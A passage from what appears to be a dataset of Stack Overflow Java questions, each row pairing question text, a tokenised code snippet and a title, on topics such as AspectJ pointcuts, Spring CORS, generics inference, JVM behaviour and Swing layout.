title for this.Anyway , imagine I have a parent class : I have a derived class from it that overrides the getDimensions method : When I create an aspect with a pointcut on Shape.getDimensions , the pointcut is hit twice when Circle.getDimensions is called : once for Circle.getDimensions , then once when it calls super.getDimensions.The pointcut looks something like this : @ Pointcut ( `` execution ( * Shape.getDimensions ( .. ) ) '' ) I 've added a hack inside the advice to check the declaring type 's name ( using JoinPoint.getSignature ( ) .getDeclaringType ( ) .getName ( ) ) , but I find it rather gross and it feels kind of like a hack . I figure there MUST be a better way to do this.Is there ? Apologies if the formatting is n't very good . First time asking a question on here ( I can usually find the answer already ) .",public class Shape { public Dimensions getDimensions ( ) { // Does some generic stuff . } } public class Circle extends Shape { public Dimensions getDimensions ( ) { // Does some stuff . super.getDimensions ( ) ; } },"How to avoid hitting pointcut twice when the cut is on a superclass , but a derived class overrides ?" +Java,I have the following block of code : Suppose I set stopFlag to true . serverSocket.receive ( receivePacket ) ; will wait until it receives a packet . What should I do if I want the thread to exit as soon as stopFlag is set to true .,"public void startListening ( ) throws Exception { serverSocket = new DatagramSocket ( port ) ; new Thread ( ) { @ Override public void run ( ) { System.out.print ( `` Started Listening '' ) ; byte [ ] receiveData = new byte [ 1024 ] ; DatagramPacket receivePacket = new DatagramPacket ( receiveData , receiveData.length ) ; while ( ! stopFlag ) { try { serverSocket.receive ( receivePacket ) ; String message = new String ( receivePacket.getData ( ) ) ; System.out.println ( `` RECEIVED : `` + message ) ; } catch ( Exception ex ) { System.out.print ( `` Execption : '' + ex.getMessage ( ) ) ; } } } } .start ( ) ; } public void stopListening ( ) { this.stopFlag = true ; }",Exit from a thread +Java,Hi I cant disable CORS in my project . I use a custom filter and Spring Security Config for the CORS configuration . I have seen this excellent answer : Can you completely disable CORS support in Spring ? but when I have tried the below implementation I still get the CORS error : CORS configuration : } Ive also tried setting the allowed origin to be like below with no results : These are the Response headers from the proceeding OPTIONS request : This is the exact error I am getting : Could you please point out any additional ideas or why this might be happening ? I thought that this would be a simple to fix issue but it has ended up consuming quite a lot of my time.Thank you,"@ Component @ Order ( Ordered.HIGHEST_PRECEDENCE ) class CorsFilter @ Autowiredconstructor ( ) : CorsFilter ( configSrc ( ) ) { companion object { private fun configSrc ( ) : UrlBasedCorsConfigurationSource { val config = CorsConfiguration ( ) config.allowCredentials = true config.addAllowedOrigin ( `` http : //127.0.0.1:3000 '' ) config.addAllowedHeader ( `` * '' ) config.addAllowedMethod ( `` * '' ) val src = UrlBasedCorsConfigurationSource ( ) src.registerCorsConfiguration ( `` /** '' , config ) return src } } config.addAllowedOrigin ( `` http : //127.0.0.1:3000 '' )",Issue with CORS and error and Access-Control-Allow-Origin header +Java,"Why is it that Java can infer the common ancestor of multiple upper-bounded types , but not of lower-bounded types ? More specifically , consider the following examples :","static class Test { static < T > T pick ( T one , T two ) { return two ; } static void testUpperBound ( ) { List < ? extends Integer > extendsInteger = new ArrayList < > ( ) ; // List < ? extends Integer > is treated as a subclass of List < ? extends Number > List < ? extends Number > extendsNumber = extendsInteger ; // List < ? extends Number > is inferred as the common superclass extendsNumber = pick ( extendsInteger , extendsNumber ) ; } static void testLowerBound ( ) { List < ? super Number > superNumber = new ArrayList < > ( ) ; // List < ? super Number > is treated as a subclass of List < ? super Integer > List < ? super Integer > superInteger = superNumber ; // The inferred common type should be List < ? super Integer > , // but instead we get a compile error : superInteger = pick ( superNumber , superInteger ) ; // It only compiles with an explicit type argument : superInteger = Test. < List < ? super Integer > > pick ( superNumber , superInteger ) ; } }",Java type inference with lower bounded types +Java,"Consider the below code : It throws a NPE : Exception in thread `` main '' java.lang.NullPointerException at pracJava1.Prac.main ( Prac.java:7 ) The question is : Why ca n't the JVM also put a helper message saying : Exception in thread `` main '' java.lang.NullPointerException . Attempted toLowerCase ( ) on nullThis is useful in cases like obj.setName ( s.toLowerCase ( ) ) , where the line number is not sufficient to guess if obj was null or s.On the feasibility of it , lets look at the byte code generated : So may be it does know , the method name it attempted the operation on . JVM experts , what 's your opinion ?","String s = null ; s.toLowerCase ( ) ; stack=1 , locals=2 , args_size=1 0 : aconst_null 1 : astore_1 2 : aload_1 3 : invokevirtual # 2 // Method java/lang/String.toLowerCase : ( ) Ljava/lang/String ;",Get the operation attempted in case of NPE +Java,I am java beginner . My tutor told me that constructor returns an object and showed me the above example . is it really happening because method is not returning any value but the return ; is not getting an error .,class Test { public Test ( ) { System.out.println ( `` I am here '' ) ; return ; // not getting error } public static void main ( String [ ] args ) { Test test = new Test ( ) ; } },Is it true that constructor returns an object ? +Java,"this morning I came across this code , and I have absolutely no idea what that means . Can anyone explain me what do these < T > represent ? For example : Thank you",public class MyClass < T > ... some bits of code then private Something < T > so ; private OtherThing < T > to ; private Class < T > c ;,Code explanation in Java +Java,"I have a data structure named `` Book '' that consists of the following fields : My goal is to derive a Map < Author , List < BookType > > from a List < Book > using Stream API . To achieve it , at first , I 've made a for-each loop to clarify the steps of the solution and after I 've rewritten it into streams based approach step-by-step : But it is n't a Stream API based solution and I 've gotten in stuck and I do n't know how to finish it properly.I know that I must use grouping collector to obtain the required Map < Author , List < BookType > > straight from streams.Could you give me some hints , please ?","public final class Book { private final String title ; private final BookType bookType ; private final List < Author > authors ; } Map < Author , List < BookType > > authorListBookType = new HashMap < > ( ) ; books.stream ( ) .forEach ( b - > b.getAuthors ( ) .stream ( ) .forEach ( e - > { if ( authorListBookType.containsKey ( e ) ) { authorListBookType.get ( e ) .add ( b.getBookType ( ) ) ; } else { authorListBookType.put ( e , new ArrayList < > ( Collections.singletonList ( b.getBookType ( ) ) ) ) ; } } ) ) ;",How to rewrite for-each loop into stream ? +Java,"I have a strange issue with this code : As I expected , since boolean test is not volatile , Thread1 uses local cache value of test and when Thread2 changes it to true Thread1 wo n't do anything . But when I put a breakpoint at the line System.out.println ( `` Prints when put a breakpoint here ! `` ) ; It will reaches there and prints the line ! What 's really happening by putting a breakpoint ? Does it force the program to directly read the value of variable from memory ? Or something else is happening ?","class Test { private static boolean test = false ; public static void main ( String [ ] args ) { new Thread ( ( ) - > { while ( true ) { if ( test ) { System.out.println ( `` Print when breakpoint here ! `` ) ; test = false ; } } } , `` Thread1 '' ) .start ( ) ; new Thread ( ( ) - > { while ( true ) { System.out.println ( `` Print always '' ) ; try { Thread.sleep ( 2000 ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } test = true ; } } , `` Thread2 '' ) .start ( ) ; } }",Putting a breakpoint in a non reachable thread forces it to run +Java,"It 's better to express this behavior in the code : forEach ( ... ) accepts Consumer , but why does the first example compile if List interface has following signature boolean add ( E e ) ? whereas the second yields : bad return type in lambda expression : boolean can not be converted to void","List < Integer > list= new ArrayList < > ( ) ; Stream.of ( 1,2,3 ) .forEach ( i - > list.add ( 1 ) ) ; // COMPILESStream.of ( 1,2,3 ) .forEach ( i - > true ) ; // DOES NOT COMPILE !",Why does .forEach ( val - > list.add ( ) ) compile whereas .forEach ( val - > true ) does n't ? +Java,I have following annotation in my codeAt this case I have to have properties like thisPropery file looks unreadable because I have calculate value to miliseconds.Is there way to pass value like 5m or 30s there ?,@ Scheduled ( fixedDelayString = `` $ { app.delay } '' ) app.delay=10000 # 10 sec,Is there way to use @ Scheduled together with Duration string like 15s and 5m ? +Java,I need to convert below method java 8 inline function . need some expert help and explanation to do this . and Are there any short cut to do this intelj IDE ?,"@ Overridepublic boolean a ( final Collection < DoseDetailMutableDTO > detailModels ) { for ( DoseDetailMutableDTO dd : detailModels ) { final boolean doseDetailTextScheduled = isDoseDetailTextScheduled ( dd , 1 ) ; if ( doseDetailTextScheduled ) { return true ; } } return false ; }",How to convert below method to Java 8 inline function ? +Java,"I was wondering how to refer to the result of a lambda in Java ? This is so I can store the results into an ArrayList , and then use that for whatever in the future.The lambda I have is : and inside the .forEach ( ) I want to be able to assign each file name to the array in turn , for example , .forEach ( MyArrayList.add ( this ) ) Thanks for any help in advance !","try { Files.newDirectoryStream ( Paths.get ( `` . `` ) , path - > path.toString ( ) .endsWith ( `` .txt '' ) ) .forEach ( System.out : :println ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; }",Getting the result of a Lambda in java +Java,"Is this recursion ? What about version with instance initalizer ? I 'm asking , because I updated my old answer , which was showing how to make StackOverflowError without recursion , but now I 'm not 100 % sure if codes above are recursion or not .",public class Test { Test test = new Test ( ) ; public static void main ( String [ ] args ) { new Test ( ) ; } } public class Test { { Test test = new Test ( ) ; } public static void main ( String [ ] args ) { new Test ( ) ; } },Is instantiating a member of class Test within class Test a recursion ? +Java,"Consider the program : Is Foo required in the runtime classpath if the program is launched without arguments ? ResearchThe Java Language Specification is rather vague when Linkage Errors are reported : This specification allows an implementation flexibility as to when linking activities ( and , because of recursion , loading ) take place , provided that the semantics of the Java programming language are respected , that a class or interface is completely verified and prepared before it is initialized , and that errors detected during linkage are thrown at a point in the program where some action is taken by the program that might require linkage to the class or interface involved in the error . My Tests indicate that LinkageErrors are only thrown when I actually use Foo : Can this behaviour be relied upon ? Or is there any mainstream JVM that links unused code ? If so , how can I isolate unused code such that it is only linked if needed ?",public class Test { public static void main ( String [ ] args ) { if ( Arrays.asList ( args ) .contains ( `` -- withFoo '' ) ) { use ( new Foo ( ) ) ; } } static void use ( Foo foo ) { // do something with foo } } $ rm Foo.class $ java Test $ java Test -- withFooException in thread `` main '' java.lang.NoClassDefFoundError : Foo at Test.main ( Test.java:11 ) Caused by : java.lang.ClassNotFoundException : Foo at java.net.URLClassLoader $ 1.run ( Unknown Source ) at java.net.URLClassLoader $ 1.run ( Unknown Source ) at java.security.AccessController.doPrivileged ( Native Method ) at java.net.URLClassLoader.findClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) at sun.misc.Launcher $ AppClassLoader.loadClass ( Unknown Source ) at java.lang.ClassLoader.loadClass ( Unknown Source ) ... 1 more,Does the JVM throw if an unused class is absent ? +Java,"What would be the regex for replaceAll ( ) that swaps adjacent chars ? For example , to turn this : into this :",abcdefg badcfeg,Regex for simple shuffle using String.replaceAll +Java,This is a different question related to securing JSESSIONID cookie in tomcat 7.I am using a cloud server where we dont have access to tomcat server.xml but can set environment variables and tomcat system variables.I need to change below setting : And add secure= '' true '' attribute using environment properties only.Is there any tomcat environment which I can set.For example we have a tomcat environment variable : I am using dynamic web module version 2.4 and java 7 .,< Connector port= '' ... / > ` logging.dir=/logs/tomcatlogs `,how to secure jsessionid cookie in tomcat 7 using environment variables +Java,"I have a function : and I want to pass in the array { 3,4,5 } . Why ca n't I call :","draw ( int [ ] a ) { // ... } draw ( { 3,4,5 } ) ;",Why ca n't I pass arrays like this in Java +Java,"The following code compiles fine : If we make the Bat class final , the code does n't compile : If the final class implements Flyer , it compiles fine : Anyone care to explain the logic behind this ?",interface Flyer { } class Bat { } public class App { public static void main ( String [ ] args ) { Bat b = new Bat ( ) ; if ( b instanceof Flyer ) System.out.println ( `` b is a Bird '' ) ; } } final class Bat { } final class Bat implements Flyer { },Compiler error instance of final class +Java,"I 'm coming from a Java background , and I 'm trying to wrap my head around Haskell 's type system.In the Java world , the Liskov Substitution Principle is one of the fundamental rules , and I 'm trying to understand if ( and if so , how ) this is a concept that applies to Haskell as well ( please excuse my limited understanding of Haskell , I hope this question even makes sense ) .For example , in Java , the common base class Object defines the method boolean equals ( Object obj ) which is consequently inherited by all Java classes and allows for comparisons like the following : Unfortunately , due to the Liskov Substitution Principle , a subclass in Java can not be more restrictive than the base class in terms of what method arguments it accepts , so Java also allows some nonsensical comparisons that can never be true ( and can cause very subtle bugs ) : Another unfortunate side effect is that , as Josh Bloch pointed out in Effective Java a long time ago , it is basically impossible to implement the equals method correctly in accordance with its contract in the presence of subtyping ( if additional fields are introduced in the subclass , the implementation will violate the symmetry and/or transitivity requirement of the contract ) .Now , Haskell 's Eq type class is a completely different animal : Here , comparisons between objects of different types get rejected with an error : While this error intuitively makes a lot more sense than the way Java handles equality , it does seem to suggest that a type class like Eq can be more restrictive with regards to what argument types it allows for methods of subtypes . This appears to violate the LSP , in my mind.My understanding is that Haskell does not support `` subtyping '' in the object-oriented sense , but does that also mean that the Liskov Substitution Principle does not apply ?","String hello = `` Hello '' ; String world = `` World '' ; Integer three = 3 ; Boolean a = hello.equals ( world ) ; Boolean b = world.equals ( `` World '' ) ; Boolean c = three.equals ( 5 ) ; Boolean d = `` Hello '' .equals ( 5 ) ; Boolean e = three.equals ( hello ) ; Prelude > data Person = Person { firstName : : String , lastName : : String } deriving ( Eq ) Prelude > joshua = Person { firstName = `` Joshua '' , lastName = `` Bloch '' } Prelude > james = Person { firstName = `` James '' , lastName = `` Gosling '' } Prelude > james == jamesTruePrelude > james == joshuaFalsePrelude > james /= joshuaTrue Prelude > data PersonPlusAge = PersonPlusAge { firstName : : String , lastName : : String , age : : Int } deriving ( Eq ) Prelude > james65 = PersonPlusAge { firstName = `` James '' , lastName = `` Gosling '' , age = 65 } Prelude > james65 == james65TruePrelude > james65 == james < interactive > :49:12 : error : • Could n't match expected type ‘ PersonPlusAge ’ with actual type ‘ Person ’ • In the second argument of ‘ ( == ) ’ , namely ‘ james ’ In the expression : james65 == james In an equation for ‘ it ’ : it = james65 == jamesPrelude >",Does Haskell 's type system honor the Liskov Substitution Principle ? +Java,"When creating a default method in Java 8 , certain Object methods are not callable from within the default method . For example : It seems that clone ( ) and finalize ( ) are the only methods from Object that are not allowed . Coincidently , these are the only methods of Object that are protected , but this question is in particular regard to default methods , as they will be inherited by classes that do extend java.lang.Object . What is the reason for this ?","interface I { default void m ( ) { this.toString ( ) ; // works . this.clone ( ) ; // compile-time error , `` The method clone ( ) is undefined for the type I '' this.finalize ( ) ; // same error as above . } }",Why are certain Object methods not callable from default methods ? +Java,Expected output c 1 c 2Actual output c c 1 2Why ?,class W { static int count=0 ; W ( ) { count++ ; System.out.print ( `` c `` ) ; } public static void main ( String [ ] args ) { System.out.println ( new W ( ) .count+ '' `` +new W ( ) .count ) ; } },Weird behavior of println ( ) method in Java +Java,I have this really simple JCSP ( Java Communicating Sequential Processes ) code sample in which I 'm trying to write an integer to a One2OneInt channel and then read it.It seems that value never gets written on the channel and program just keeps running . `` Written ... '' is never printed out .,package jcsp ; import org.jcsp.lang . * ; public class JCSP { public static void main ( String [ ] args ) { One2OneChannelInt chan = Channel.one2oneInt ( ) ; chan.out ( ) .write ( 5 ) ; System.out.println ( `` Written ... '' ) ; System.out.println ( chan.in ( ) .read ( ) ) ; } },Stuck writing to JCSP channel +Java,Both ways are proper in Java . Does it mean that for every type Type [ ] x is the same as Type x [ ] ?,String S [ ] = new String [ 3 ] ; String [ ] S = new String [ 3 ] ;,Array syntax in Java : what is the significance of the [ ] location +Java,Why does ... ... result in an incompatible types error when compiling given that ... ... does not ? Why can I compare the object references of a String and an Object but not a StringBuilder and a String ? Are n't they all just addresses to memory locations ? Thanks,String a = new String ( `` a '' ) ; StringBuilder b = new StringBuilder ( `` a '' ) ; System.out.println ( a==b ) ; String a = new String ( `` b '' ) ; Object b = new StringBuilder ( `` b '' ) ; System.out.println ( a==b ) ;,checking object reference equality using == ( in Java ) +Java,"Say I have the following two JSON filesandI want to use Jackson to deserialize them both into an object of the following form -so I would end up with two objects , Foo { a= [ 1,2 ] } and Foo { a= [ 1 ] } . Is it possible to persuade Jackson to deserialize a scalar 1 to a double array [ 1 ] , preferably using the jackson-databind api ?","{ `` a '' : [ 1 , 2 ] } { `` a '' : 1 } public class Foo { public double [ ] a ; }",Read JSON scalar as single-element double [ ] using Jackson +Java,"If Spring bean configured with JavaConfig , it BeanDefinition can not resolve BeanClassName , and return null.Same with xml or annotation config work well.What 's the problem ? How to fix ? Example code with trouble for Spring Boot , only add imports :","interface Foo { } class FooImpl implements Foo { } @ ComponentScan @ EnableAutoConfiguration @ Configurationpublic class App implements CommandLineRunner { public static void main ( String ... args ) { SpringApplication.run ( App.class , args ) ; } @ Bean ( name = `` foo '' ) Foo getFoo ( ) { return new FooImpl ( ) ; } @ Autowired private ConfigurableListableBeanFactory factory ; @ Override public void run ( String ... args ) { BeanDefinition definition = factory.getBeanDefinition ( `` foo '' ) ; System.out.println ( definition.getBeanClassName ( ) ) ; } }","Spring , JavaConfig , BeanDefinition and empty getBeanClassName" +Java,"There is a method that can search substring from a text ( use brute force algorithm , please ignore null pointer ) Strangely ! Use the same algorithm , but the following code is more faster ! ! ! I found the second code is obviously faster than first if I run it by jvm . Howere , when I write it in c and run , the two functions take almost the same time . So I think the reason is that jvm optimize loop codeAm I right ? If I 'm right , how should we use the jvm optimization strategy to optimize our code ? Hope somebody help , thankyou : )","public static int forceSearch ( String text , String pattern ) { int patternLength = pattern.length ( ) ; int textLength = text.length ( ) ; for ( int i = 0 , n = textLength - patternLength ; i < = n ; i++ ) { int j = 0 ; for ( ; j < patternLength & & text.charAt ( i + j ) == pattern.charAt ( j ) ; j++ ) { ; } if ( j == patternLength ) { return i ; } } return -1 ; } public static int forceSearch ( String text , String pattern ) { int patternLength = pattern.length ( ) ; int textLength = text.length ( ) ; char first = pattern.charAt ( 0 ) ; for ( int i = 0 , n = textLength - patternLength ; i < = n ; i++ ) { if ( text.charAt ( i ) ! = first ) { while ( ++i < = n & & text.charAt ( i ) ! = first ) ; } int j = 0 ; for ( ; j < patternLength & & text.charAt ( i + j ) == pattern.charAt ( j ) ; j++ ) { ; } if ( j == patternLength ) { return i ; } } return -1 ; } if ( text.charAt ( i ) ! = first ) { while ( ++i < = max & & text.charAt ( i ) ! = first ) ; }",How does jvm optimize loop code ? +Java,"This question is about different behaviour of JEditorPane in Java 8 and Java 9 . I ’ d like to know if others have experienced the same , whether it could be a bug in Java 9 , and if possible have your input to how to handle it in Java 9.Context : In our ( age-old ) code base we are using a subclass of JTable , and for rendering multi-line HTML in one of the columns we are using a subclass of JEditorPane . We are using JEditorPane.getPreferredSize ( ) for determining the height of the content and using it for setting the height of the table row . It ’ s been working well for many years . It doesn ’ t work in Java 9 ; the rows are displayed just 10 pixels high . Seen both on Windows and Mac.I should like to show you two code examples . If the first and shorter one suffices for you , feel free to skip the second and longer one.MCVE : Output in Java 8 ( 1.8.0_131 ) : And on Java 9 ( jdk-9.0.4 ) : In Java 9 the first time I set the text , the preferred height reflects it . Every subsequent time it doesn ’ t.I have searched to see if I could find any information on a bug that might account for this , did not find anything relevant.Question : Is this intended ( change of ) behaviour ? Is it a bug ? ? Longer exampleResult on Java 8 is as expected : Output from Java 8 : On Java 9 the second row is not shown high enough so most of the lines are hidden : Output from Java 9 : A possible fix is if I create a new renderer component each time by changing the body of getDefaultRenderer ( ) toNow the table looks good as on Java 8 . If necessary I suppose we could live with a similar fix in our production code , but it seems quite a waste . Especially if it ’ s only necessary until the behaviour change is reverted in a coming Java version . I ’ d be grateful for your suggestions here .","JEditorPane pane = new JEditorPane ( `` text/html '' , `` '' ) ; pane.setText ( `` < html > One line < /html > '' ) ; System.out.println ( pane.getPreferredSize ( ) ) ; pane.setText ( `` < html > Line one < br / > Line 2 < br / > Third line < br / > Line four < /html > '' ) ; System.out.println ( pane.getPreferredSize ( ) ) ; java.awt.Dimension [ width=48 , height=15 ] java.awt.Dimension [ width=57 , height=60 ] java.awt.Dimension [ width=49 , height=15 ] java.awt.Dimension [ width=58 , height=0 ] public class TestJEditorPaneAsRenderer extends JFrame { public TestJEditorPaneAsRenderer ( ) { super ( `` Test JEditorPane '' ) ; MyRenderer renderer = new MyRenderer ( ) ; String html2 = `` < html > one/2 < br / > two/2 < /html > '' ; String html4 = `` < html > one of four < br / > two of four < br / > '' + `` three of four < br / > four of four < /html > '' ; JTable table = new JTable ( new String [ ] [ ] { { html2 } , { html4 } } , new String [ ] { `` Dummy col title '' } ) { @ Override public TableCellRenderer getDefaultRenderer ( Class < ? > colType ) { return renderer ; } } ; add ( table ) ; setSize ( 100 , 150 ) ; setDefaultCloseOperation ( EXIT_ON_CLOSE ) ; } public static void main ( String [ ] args ) { System.out.println ( System.getProperty ( `` java.version '' ) ) ; new TestJEditorPaneAsRenderer ( ) .setVisible ( true ) ; } } class MyRenderer extends JEditorPane implements TableCellRenderer { public MyRenderer ( ) { super ( `` text/html '' , `` '' ) ; } @ Override public Component getTableCellRendererComponent ( JTable table , Object value , boolean selected , boolean hasFocus , int row , int col ) { setText ( value.toString ( ) ) ; Dimension preferredSize = getPreferredSize ( ) ; System.out.format ( `` Row % d preferred size % s % n '' , row , preferredSize ) ; if ( preferredSize.height > 0 & & table.getRowHeight ( row ) ! = preferredSize.height ) { table.setRowHeight ( row , preferredSize.height ) ; } return this ; } } 1.8.0_131Row 0 preferred size java.awt.Dimension [ width=32 , height=30 ] Row 1 preferred size java.awt.Dimension [ width=72 , height=60 ] Row 0 preferred size java.awt.Dimension [ width=32 , height=30 ] Row 1 preferred size java.awt.Dimension [ width=72 , height=60 ] 9.0.4Row 0 preferred size java.awt.Dimension [ width=33 , height=30 ] Row 1 preferred size java.awt.Dimension [ width=73 , height=0 ] Row 0 preferred size java.awt.Dimension [ width=33 , height=0 ] Row 1 preferred size java.awt.Dimension [ width=73 , height=0 ] return new MyRenderer ( ) ;",JEditorPane.getPreferredSize not always working in Java 9 ? +Java,"I am trying to create large RDF/HDT files , which in turn means reading large files into memory , etc . Now , that is not really an issue since the server has 516GB of memory , around 510GB of which are free.I am using the rdfhdt library to create the files , which works just fine . However , for one specific file , I keep getting an OutOfMemoryError , with no real reason as to why . Here is the stack trace : I am running the Jar file with the tag -Xmx200G . The strange thing is , when looking in 'top ' , it shows VIRT to be 213G ( as expected ) . However , every time RES climbs to just about 94GB , it crashes with the error above , which I think is strange since it should have more than 100GB left to use . I looked in this question , as the problem seems to be similar to mine , although on a different scale . However , using -verbose : gc and -XX : +PrintGCDetails does n't seem to give me any indication as to what is wrong , and there is about 500G of swap space available as well.The , perhaps , strangest thing however is the fact that the specific file I have issues with is not even the largest files . For scale , it has about 83M triples to write , and for other files , up to 200M triples have not been an issue . I am using Java version 1.8.0_66 and Ubuntu version 14.04.3 LTS.So my question is , if anyone can explain what I am doing wrong ? It seems very strange to me that larger files have no issue , but this one does . Please let me know if you need any other information .",Exception in thread `` main '' java.lang.OutOfMemoryError at java.io.ByteArrayOutputStream.hugeCapacity ( ByteArrayOutputStream.java:123 ) at java.io.ByteArrayOutputStream.grow ( ByteArrayOutputStream.java:117 ) at java.io.ByteArrayOutputStream.ensureCapacity ( ByteArrayOutputStream.java:93 ) at java.io.ByteArrayOutputStream.write ( ByteArrayOutputStream.java:153 ) at org.rdfhdt.hdt.util.string.ByteStringUtil.append ( ByteStringUtil.java:238 ) at org.rdfhdt.hdt.dictionary.impl.section.PFCDictionarySection.load ( PFCDictionarySection.java:123 ) at org.rdfhdt.hdt.dictionary.impl.section.PFCDictionarySection.load ( PFCDictionarySection.java:87 ) at org.rdfhdt.hdt.dictionary.impl.FourSectionDictionary.load ( FourSectionDictionary.java:83 ) at org.rdfhdt.hdt.hdt.impl.HDTImpl.loadFromModifiableHDT ( HDTImpl.java:441 ) at org.rdfhdt.hdt.hdt.writer.TripleWriterHDT.close ( TripleWriterHDT.java:96 ) at dk.aau.cs.qweb.Main.makePredicateStores ( Main.java:137 ) at dk.aau.cs.qweb.Main.main ( Main.java:69 ),java.lang.OutOfMemoryError when plenty of memory left ( 94GB / 200GB Xmx ) +Java,I have the following method to convert String to date with millisecond granularityreturns false as expectedHowever the followingWhich I thought would have been the same returns true . What am I doing wrong ?,public Date convertTime ( String time ) { SimpleDateFormat parser = new SimpleDateFormat ( `` HH : mm : ss.S '' ) ; try { return parser.parse ( time ) ; } catch ( Exception ex ) { ex.printStackTrace ( ) ; return null ; } } Date d1 = lib.convertTime ( `` 10:30:53.39 '' ) ; Date d2 = lib.convertTime ( `` 10:30:53.40 '' ) ; System.out.println ( d1.after ( d2 ) ) ; Date d1 = lib.convertTime ( `` 10:30:53.39 '' ) ; Date d2 = lib.convertTime ( `` 10:30:53.4 '' ) ; System.out.println ( d1.after ( d2 ) ) ;,Why does my java time comparison fail ? +Java,"I have been trying to translate this Kotlin code to Java since the project is in Java . I am translating by looking into Kotlin syntax . However , there are still others that I am having a hard time understanding . https : //github.com/airbnb/lottie-android/blob/master/LottieSample/src/main/kotlin/com/airbnb/lottie/samples/AppIntroActivity.ktSpecifically : For the setViewPagerScroller , I was able to translate the first part .","private val animationView : LottieAnimationView by lazy { rootView.inflate ( R.layout.app_intro_animation_view , false ) as LottieAnimationView } private val viewPager : LockableViewPager by lazy { findViewById < LockableViewPager > ( R.id.intro_activity_viewPager ) } override fun generateFinalButtonBehaviour ( ) : IntroButton.Behaviour { return object : IntroButton.Behaviour { override fun setActivity ( activity : IntroActivity ) { finish ( ) } override fun getActivity ( ) : IntroActivity ? = null override fun run ( ) { } } } private fun setViewPagerScroller ( ) { try { val scrollerField = ViewPager : :class.java.getDeclaredField ( `` mScroller '' ) scrollerField.isAccessible = true val interpolator = ViewPager : :class.java.getDeclaredField ( `` sInterpolator '' ) interpolator.isAccessible = true val scroller = object : Scroller ( this , interpolator.get ( null ) as Interpolator ) { override fun startScroll ( startX : Int , startY : Int , dx : Int , dy : Int , duration : Int ) { super.startScroll ( startX , startY , dx , dy , duration * 7 ) } } scrollerField.set ( viewPager , scroller ) } catch ( e : NoSuchFieldException ) { // Do nothing . } catch ( e : IllegalAccessException ) { // Do nothing . } } Field scrollerField = ViewPager.class.getDeclaredField ( `` mScroller '' ) ; scrollerField.setAccessible ( true ) ; Field interpolator = ViewPager.class.getDeclaredField ( `` sInterpolator '' ) ; interpolator.setAccessible ( true ) ;",How to interpret and translate kotlin code to java ?